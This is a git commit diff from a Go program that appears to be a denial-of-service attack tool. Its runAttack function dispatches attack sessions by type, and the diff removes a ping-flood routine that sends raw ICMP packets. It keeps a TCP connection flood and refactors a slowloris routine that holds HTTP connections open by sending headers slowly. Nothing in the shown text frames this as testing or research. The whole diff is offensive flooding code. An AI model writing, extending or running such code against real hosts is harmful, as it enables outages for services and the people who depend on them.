Buncha fixes and binaries
This commit is contained in:
parent
0d0f1abbee
commit
0a52407117
10 changed files with 160 additions and 41 deletions
|
|
@ -260,12 +260,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
|||
case <-ticker.C:
|
||||
go func() {
|
||||
switch session.Type {
|
||||
case "ping_flood":
|
||||
if err := sendPing(session.Target); err == nil {
|
||||
atomic.AddInt32(&session.Success, 1)
|
||||
} else {
|
||||
atomic.AddInt32(&session.Failed, 1)
|
||||
}
|
||||
case "tcp_syn":
|
||||
if err := sendTCPSyn(session.Target); err == nil {
|
||||
atomic.AddInt32(&session.Success, 1)
|
||||
|
|
@ -290,18 +284,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
|||
}
|
||||
}
|
||||
|
||||
func sendPing(target string) error {
|
||||
conn, err := net.Dial("ip4:icmp", target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// Simple ICMP echo request simulation
|
||||
_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
|
||||
return err
|
||||
}
|
||||
|
||||
func sendTCPSyn(target string) error {
|
||||
conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
|
||||
if err != nil {
|
||||
|
|
@ -344,12 +326,10 @@ func sendSlowloris(target string) error {
|
|||
|
||||
// Send additional headers slowly to keep connection alive
|
||||
for i := 0; i < 6; i++ { // Keep alive for 60 seconds
|
||||
select {
|
||||
case <-ticker.C:
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
<-ticker.C
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
// Finally close the request
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue